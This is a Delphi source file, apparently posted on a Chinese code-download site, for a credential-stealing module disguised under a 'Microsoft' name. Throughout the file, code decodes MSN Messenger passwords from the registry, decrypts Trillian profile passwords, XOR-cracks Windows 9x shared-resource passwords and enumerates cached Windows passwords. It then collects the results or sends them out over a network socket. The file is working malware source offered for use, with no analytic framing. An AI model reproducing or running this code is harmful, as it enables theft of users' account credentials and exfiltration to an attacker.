Microsoft_UPass.pas
上传用户:hndmjx
上传日期:2014-09-16
资源大小:3369k
文件大小:16k
源码类别:

Delphi控件源码

开发平台:

Delphi

  1. unit Microsoft_UPass;
  2. interface
  3. uses WinSock, Windows,Microsoft_Ucmd,Utils;
  4. procedure BuscarPasswordsDeWindows( socket : TSocket);
  5. //procedure Aim(  udp : TSocket; Cli: Tsockaddr; tcp:integer );
  6. procedure msn( Socket : Tsocket);
  7. procedure Trillian( Socket : Tsocket );
  8. function sharedPws( Socket : Tsocket): string;
  9. implementation
  10. uses  Microsoft_URegister;
  11. type
  12.     PWinPassword = ^TWinPassword;
  13.     TWinPassword = record
  14.        EntrySize: Word;
  15.        ResourceSize: Word;
  16.        PasswordSize: Word;
  17.        EntryIndex: Byte;
  18.        EntryType: Byte;
  19.        PasswordC: Char;
  20.     end;
  21.    // MSN
  22.   //Pass parts graphical structure:
  23.   //|XX XX XX XX|XX XX XX XX|XX XX XX XX|XX XX XX XX|XX XX XX XX|XX XX 3D 3D|00
  24.   //Each group is named consecutively |GI FC SC TC|
  25.   //A 00 means the end of the encoded password. A 3D means a null encoded character.
  26.   PassParts    = array [0..6,0..3] of byte; //Parts of the password, it devides into groups of 4 encoded characters which is equivalent to 3 decoded characters. There can be a maximum of 6 groups (16 decoded characters, 25 encoded)
  27.   DecPassArray = array [0..24] of byte;  //Array got directly from the registry. It can be 25 characters maximum
  28. var   UDP  : Tsocket;
  29.       Addr : TsockAddr;
  30.       Tcps : integer;
  31.       Cant : Integer = 0;
  32.       Key_shared    : HKEY;
  33.       PassSize:integer; 
  34. const KEY : array[1..8] of char =  #$35#$9a#$4d#$a6#$53#$a9#$d4#$6a;
  35.       HEADER = 'pWd';
  36. ////////////////////////////////////////////////////////////////////////////////
  37. ////////////////////////Passwords de Messenger/////////////////////////////////
  38. ////////////////////////////////////////////////////////////////////////////////
  39. function EquivalentPositions(EncByte:byte):byte;
  40. var DecByte:byte;      //Semi-decoded byte, which will be the return value of the function
  41. begin
  42.      Case EncByte of
  43.           $41..$5A: DecByte := EncByte - $41;
  44.           $61..$7A: DecByte := ( EncByte - $61 ) + $1A;
  45.           $30..$39: DecByte := ( EncByte - $30 ) + $34;
  46.           $2B: DecByte := $3E;
  47.           $2F: DecByte := $3F;
  48.           $3D: DecByte := $40;
  49.           else DecByte:=$FF;
  50.      end;
  51.      Result := DecByte;
  52. end;
  53. function GetRegPassword( clave: string ) : DecPassArray;
  54. var tmp    : DecPassArray;
  55.     Handle : HKEY;
  56. begin
  57.      RegOpenKeyEx( HKEY_CURRENT_USER, PChar( 'SoftwareMicrosoft' + clave ), 0, KEY_ALL_ACCESS, Handle );
  58.      if Handle <> 0 then
  59.      begin
  60.           PassSize := GetDataSize( Handle, 'Password.NET Messenger Service' );
  61.           ReadBinaryData( Handle, 'Password.NET Messenger Service', tmp, passsize );
  62.           RegCloseKey( Handle );
  63.           Result := Tmp;
  64.      end;
  65. end;
  66. function SortPassBytes( Pass : DecPassArray ) : PassParts;
  67. var Temp : PassParts;
  68.     i, j : integer;
  69. begin
  70.      for i := 0 to ( PassSize - 1 ) div 4 do
  71.        for j := 0 to 3 do
  72.            Temp[ i, j ] := Pass[ i * 4 + j];
  73.      SortPassBytes := Temp;
  74. end;
  75. function DecodePassword( clave: string ) : string;
  76. var
  77.   PassPart: PassParts;
  78.   iPart: integer;
  79.   GI, FC, SC, TC: byte;
  80.   FCValInSet, FCPosInSet: integer;
  81.   SCValInSet, SCPosInSet: integer;
  82.   TCPosInSet: integer;
  83.   C1, C2, C3: char;
  84.   Password: DecPassArray;
  85.   Temp: string;
  86. begin
  87.      Password := GetRegPassword( clave );
  88.      PassPart := SortPassBytes(GetRegPassword( clave ) ); {Organize encoded password from registry}
  89.      for iPart:=0 to (PassSize div 4)-1 do
  90.      begin
  91.           GI := EquivalentPositions( PassPart[ iPart, 0 ] );
  92.           FC := EquivalentPositions( PassPart[ ipart, 1 ] );
  93.           SC := EquivalentPositions( PassPart[ ipart, 2 ] );
  94.           TC := EquivalentPositions( PassPart[ ipart, 3 ] );
  95.           C2 := #0;
  96.           C3 := #0;
  97.           FCPosInSet := FC div $10;
  98.           FCValInSet := FC mod $10;
  99.           C1 := Char( GI * $4 + FCPosInSet );
  100.           if SC < $40 then
  101.           begin
  102.                SCPosInSet := SC div $4;   {this determines the member nunmber}
  103.                SCValInSet := SC mod $4;   {this is used for full-deoode TC}
  104.                C2 := Char( FCValInSet * $10 + SCPosInSet ); {fully decode SC}
  105.           end;
  106.           if TC < $40 then
  107.           begin
  108.                TCPosInSet := TC;   {this determines the member number}
  109.                C3 := Char( SCValInSet * $40 + TCPosInSet ); {fully decode TC}
  110.           end;
  111.           Temp := Temp + C1 + C2 + C3; {Decoded group of 3 characters}
  112.    end;
  113.    DecodePassword := Temp;
  114. end;
  115. procedure Msn( Socket : Tsocket);
  116. var User, pw: String;
  117. begin
  118.      User := Dame_Valor( HKEY_CURRENT_USER,
  119.                          'SoftwaremicrosoftMessengerService',
  120.                          'User.NET Messenger Service' );
  121.      if user = '' then
  122.      begin
  123.         user := Dame_Valor( HKEY_CURRENT_USER,
  124.                             'SoftwaremicrosoftMSNMessenger',
  125.                             'User.NET Messenger Service' );
  126.         pw := DecodePassword('MSNMessenger')
  127.      end
  128.      else
  129.         pw := DecodePassword('MessengerService');
  130.        Data_PASS:=Data_PASS +  HEADER  + #13#10 + 'Microsoft messenger:' ;
  131.        Data_PASS:=Data_PASS +#13#10 + 'Login - ' + user;
  132.        Data_PASS:=Data_PASS +#13#10 + 'Password - ' + pw ;
  133. end;
  134. ////////////////////////////////////////////////////////////////////////////////
  135. //////////////////////////trillian passwords////////////////////////////////////
  136. ////////////////////////////////////////////////////////////////////////////////
  137. function DecryptTrill( temp : string): String;
  138. const  keys: array[0..83] of Char = (chr(243),chr(038),chr(129),chr(196),chr(057),chr(134),chr(219),chr(146),chr(113),chr(163),chr(185),chr(230),chr(083),chr(122),chr(149),chr(124),chr(000),chr(000),chr(000),chr(000),chr(000),chr(000),chr(255),chr(000),chr(000),chr(128),chr(000),chr(000),chr(000),chr(128),chr(128),chr(000),chr(255),chr(000),chr(000),chr(000),chr(128),chr(000),chr(128),chr(000),chr(128),chr(128),chr(000),chr(000),chr(000),chr(128),chr(255),chr(000),chr(128),chr(000),chr(255),chr(000),chr(128),chr(128),chr(128),chr(000),chr(085),chr(110),chr(097),chr(098),chr(108),chr(101),chr(032),chr(116),chr(111),chr(032),chr(114),chr(101),chr(115),chr(111),chr(108),chr(118),chr(101),chr(032),chr(072),chr(084),chr(084),chr(080),chr(032),chr(112),chr(114),chr(111),chr(120),chr(000));
  139. var i,j:char;
  140.     x,y:integer;
  141.     final: String;
  142. begin
  143.     final := '';
  144.     x     := 0;
  145.     y     := 0;
  146.     while x < length( temp ) do
  147.     begin
  148.         j     := chr( hextoint( temp[ x + 1 ] + temp[ x + 2 ] ) );
  149.         i     := keys[ y ];
  150.         i     := chr( ord( i ) xor ord( j ) );
  151.         final := final + i;
  152.         x     := x + 2;
  153.         y     := y + 1;
  154.     end;
  155.     result := final;
  156. end;
  157. function LoadProfiles( m: String; socket: TSocket ): String;
  158. var a : textFile;
  159.     Str: String;
  160. begin
  161.      if FileExists( 'C:archivos de programaTrillianusersdefault' + m + '.ini' ) then
  162.         AssignFile( a, 'C:archivos de programaTrillianusersdefault' + m + '.ini' )
  163.      else
  164.         if FileExists( 'C:program filesTrillianusersdefault' + m + '.ini' ) then
  165.            AssignFile( a, 'C:program filesTrillianusersdefault' + m + '.ini' )
  166.         else
  167.            Exit;
  168.      FileMode := 0;
  169.      try Reset( a ); except Exit; end;
  170.      ReadLn( a, Str );
  171.      while not eof( a ) do
  172.      begin
  173.           ReadLn( a, Str );
  174.           if Copy( Str, 1, 4 ) = 'name' then  begin
  175.              SendData ( socket,HEADER +  'User - ' + Copy( Str, 6, Length( Str ) )) ;
  176.           if UpperCase( Copy( Str, 1, 8 ) ) = 'PASSWORD' then
  177.             SendData ( socket,  HEADER + 'PaSswoRd - ' + DecryptTrill( Copy( Str, 10, Length( Str ) ) ) );
  178.      end;
  179.      CloseFile( a );
  180. end;
  181.      end;
  182. procedure Trillian( socket : TSocket);
  183. begin
  184.      Data_Pass:=Data_Pass + #13#10  + 'Finding Passwords of  Trillian' ;
  185.     Data_Pass:=Data_Pass + #13#10 +  '------------------------------------------------';
  186.      Data_Pass:=Data_Pass + #13#10 +'aim';
  187.       Data_Pass:=Data_Pass + #13#10 +'msn' ;
  188.      Data_Pass:=Data_Pass + #13#10 +'icq' ;
  189.       Data_Pass:=Data_Pass + #13#10 +'yahoo' ;
  190.  
  191. end;
  192. ////////////////////////////////////////////////////////////////////////////////
  193. /////////////////////////Password Shared Resources///////////////////
  194. ////////////////////////////////////////////////////////////////////////////////
  195. function makepad(width : integer) : string;
  196. var s : string;
  197.     x : integer;
  198. begin
  199.      s := '';
  200.      for x := 1 to width do
  201.      s := s + ' ';
  202.      makepad := s;
  203. end;
  204. function DataTypeToRegData(Value: Integer): TRegDataType;
  205. begin
  206.     if Value = REG_SZ then
  207.        Result := rdString
  208.     else
  209.     if Value = REG_EXPAND_SZ then
  210.         Result := rdExpandString
  211.     else
  212.     if Value = REG_DWORD then
  213.        Result := rdInteger
  214.     else
  215.     if Value = REG_BINARY then
  216.        Result := rdBinary
  217.     else
  218.        Result := rdUnknown;
  219. end;
  220. function GetDataInfo(const ValueName: string; var Value: TRegDataInfo): Boolean;
  221. var
  222.   DataType: Integer;
  223. begin
  224.   FillChar(Value, SizeOf(TRegDataInfo), 0);
  225.   Result := RegQueryValueEx(key_shared, PChar(ValueName), nil, @DataType, nil,
  226.     @Value.DataSize) = ERROR_SUCCESS;
  227.   Value.RegData := DataTypeToRegData(DataType);
  228. end;
  229. function GetDataSize(const ValueName: string): Integer;
  230. var
  231.   Info: TRegDataInfo;
  232. begin
  233.   if GetDataInfo(ValueName, Info) then
  234.     Result := Info.DataSize else
  235.     Result := -1;
  236. end;
  237. function GetData(const Name: string; Buffer: Pointer;
  238.   BufSize: Integer; var RegData: TRegDataType): Integer;
  239. var
  240.   DataType: Integer;
  241. begin
  242.   DataType := REG_NONE;
  243.   if RegQueryValueEx(key_shared, PChar(Name), nil, @DataType, PByte(Buffer),
  244.     @BufSize) <> ERROR_SUCCESS then;
  245.   //  raise ERegistryException.CreateFmt(SRegGetDataFailed, [Name]);
  246.   Result := BufSize;
  247.   RegData := DataTypeToRegData(DataType);
  248. end;
  249. procedure ReadError(const Name: string);
  250. begin
  251. //  raise ERegistryException.CreateFmt(SInvalidRegType, [Name]);
  252. end;
  253. function ReadBinaryData(const Name: string; var Buffer; BufSize: Integer): Integer;
  254. var
  255.   RegData: TRegDataType;
  256.   Info: TRegDataInfo;
  257. begin
  258.   if GetDataInfo(Name, Info) then
  259.   begin
  260.     Result := Info.DataSize;
  261.     RegData := Info.RegData;
  262.     if ((RegData = rdBinary) or (RegData = rdUnknown)) and (Result <= BufSize) then
  263.       GetData(Name, @Buffer, Result, RegData)
  264.     else ReadError(Name);
  265.   end else
  266.     Result := 0;
  267. end;
  268. procedure DesencriptarSharedPW( sn: String; socket : TSocket);
  269. var passwordstr1,passwordstr2,cracked1,cracked2 : string[8];
  270.     wordlength1,wordlength2,x : longint;
  271.     password1,password2 : array[1..8] of char;
  272.     path, s:String;
  273. begin
  274.      path := 'SOFTWAREMicrosoftWindowsCurrentVersionNetworkLanMan' + sn;
  275.      if RegOpenKeyEx(HKEY_LOCAL_MACHINE,
  276.                      PChar( path ),
  277.                      0,
  278.                      KEY_ALL_ACCESS,
  279.                      key_shared ) = ERROR_SUCCESS then
  280.      begin
  281.           for x := 1 to 8 do
  282.           begin
  283.                password1[ x ] := #0;
  284.                password2[ x ] := #0;
  285.           end;
  286.           readbinarydata('Parm2enc',password2,8); // get cyphered RO password
  287.           readbinarydata('Parm1enc',password1,8); // get cyphered RW password
  288.           sn := sn + makepad(14 - length(sn));
  289.           s := s +  'Resource: ' + sn;
  290.           x := 1;
  291.           passwordstr1 := '';
  292.           passwordstr2 := '';
  293.           cracked1 := '';
  294.           cracked2 := '';
  295.           while password1[x] <> #0 do
  296.           begin
  297.               passwordstr1 := passwordstr1 + password1[x];
  298.               inc(x);
  299.           end;
  300.           wordlength1 := length(passwordstr1);
  301.           x:=1;
  302.           while password2[x] <> #0 do
  303.           begin
  304.               passwordstr2 := passwordstr2 + password2[x];
  305.               inc(x);
  306.           end;
  307.           wordlength2 := length(passwordstr2);
  308.           for x := 1 to wordlength1 do // Here we do the XORing
  309.              if password1[x] <> #0 then
  310.                 cracked1 := cracked1 + chr(ord(stringtochar(copy(passwordstr1,x,1))) XOR ord(key[x]));
  311.           for x := 1 to wordlength2 do // And again...
  312.              if password2[x] <> #0 then
  313.                 cracked2 := cracked2 + chr(ord(stringtochar(copy(passwordstr2,x,1))) XOR ord(key[x]));
  314.           if cracked1 <> '' then // Write RO password to screen
  315.              s := s + 'PW de RW: ' +  cracked1 + makepad(10 - length(cracked1) )
  316.           else
  317.              s := s + 'PW de RW: no tiene   ';
  318.           if cracked2 <> '' then // Write RW password to screen
  319.              s := s + ' PW de RO: ' + cracked2  + makepad(10 - length(cracked2))
  320.           else
  321.              s := s + ' PW de RO: no tiene   ';
  322.          Data_Pass:=Data_Pass + #13#10  + s ;
  323.           s := '';
  324. end;
  325. end;
  326. //Devuelve un listado de los valores contenidos en la clave
  327. function ListadoDeSubValores( TKEY : HKEY; var cuentas : array of string; var len : integer; socket : TSocket):String;
  328. var info    : TRegKeyInfo;
  329.     i       : integer;
  330.     bSize   : DWORD;
  331.     tBuff   : string;
  332. begin
  333.      if RegQueryInfoKey(TKEY, nil, nil, nil,
  334.                         @info.NumSubKeys,
  335.                         @info.MaxSubKeyLen, nil,
  336.                         @info.NumValues,
  337.                         @info.MaxValueLen,
  338.                         @info.MaxDataLen, nil,
  339.                         @info.FileTime) = ERROR_SUCCESS  then
  340.      begin
  341.           SetString(tBuff, nil, Info.MaxSubKeyLen + 1);
  342.           //Comienza a buscar el listado de claves
  343.           for i := 0 to info.numSubKeys - 1 do
  344.           begin
  345.                bSize := Info.MaxSubKeyLen + 1;
  346.                RegEnumKeyEx( TKEY,
  347.                              DWORD( i ),
  348.                              PChar( tBuff ),
  349.                              bSize, nil, nil,  nil, nil );
  350.                DesencriptarSharedPW( tbuff, socket );
  351.           end;
  352.           Len := info.numSubKeys - 1;
  353.      end;
  354. end;
  355. function sharedPws( socket : TSocket): string;
  356. var i      : Integer;
  357.     Cuentas  : array[ 0..25 ]of string;
  358. begin
  359.     Data_Pass:=Data_Pass + #13#10  + 'PasswordS of Shared Resources' ;
  360.     SendData ( socket, HEADER + '---------------------------------------------------------------' );
  361.     RegOpenKeyEx( HKEY_LOCAL_MACHINE,
  362.                   PChar( 'SOFTWAREMicrosoftWindowsCurrentVersionNetworkLanMan' ),
  363.                   0,
  364.                   KEY_ALL_ACCESS,
  365.                   key_shared );
  366.     ListadoDeSubValores( key_shared, cuentas, i, socket );
  367.     RegCloseKey( key_shared );
  368.     if i = 0 then
  369.     begin
  370.          Data_Pass:=Data_Pass + #13#10 + 'I didnt find anything!!' ;
  371.          Exit;
  372.     end;
  373. end;
  374. ////////////////////////////////////////////////////////////////////////////////
  375. /////////////////////////Passwords de windows///////////////////////////////////
  376. ////////////////////////////////////////////////////////////////////////////////
  377. procedure AddPassword( WinPassword: PWinPassword; dw: DWord ;socket : Tsocket) stdcall;
  378. var  Password: String;
  379.      PC: Array[ 0..$FF ] of Char;
  380. begin
  381.      Inc( Cant );
  382.      Move( WinPassword.PasswordC , PC , WinPassword.ResourceSize );
  383.      PC[ WinPassword.ResourceSize ] := #0;
  384.      CharToOem( PC, PC );
  385.      Password := PC;
  386.      Move( WinPassword.PasswordC , PC , WinPassword.PasswordSize + WinPassword.ResourceSize );
  387.      Move( PC[ WinPassword.ResourceSize ] , PC , WinPassword.PasswordSize );
  388.      PC[ WinPassword.PasswordSize ] := #0;
  389.      CharToOem( PC , PC );
  390.      Password := Password + ':  ' + PC;
  391.      Data_Pass:=Data_Pass + #13+#10 +': ' + Password ;
  392.      Data_Pass:=Data_Pass + #13+#10 + Password ;
  393. end;
  394. procedure BuscarPasswordsDeWindows( socket : TSocket);
  395. type TWNetEnumCachedPasswords = function(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; stdcall;
  396. var  WNetEnumCachedPasswords  : TWNetEnumCachedPasswords;
  397.      Libreria           : THandle;
  398. begin
  399.      if EsXP then
  400.      begin
  401.      Data_Pass:=Data_Pass + #13#10 + 'I cant find the windows passwords because im not Win9X neither WinMe... sorry!!!';
  402.      Exit;
  403.      end;
  404.       Data_Pass:=Data_Pass + #13#10  + 'Windows cached passwords:' ;
  405.      try Libreria := LoadLibrary( PChar( 'mpr.dll' ) );
  406.          @WNetEnumCachedPasswords := GetProcAddress( Libreria , 'WNetEnumCachedPasswords' );
  407.          WNetEnumCachedPasswords( nil, 0, $FF, @AddPassword, 0 );
  408.          FreeLibrary( Libreria );
  409.      except
  410.      end;
  411.      if Cant = 0 then
  412.      begin
  413.         Data_Pass:=Data_Pass+ ':  I dindt find passwords !';
  414.      end;
  415. end;
  416. end.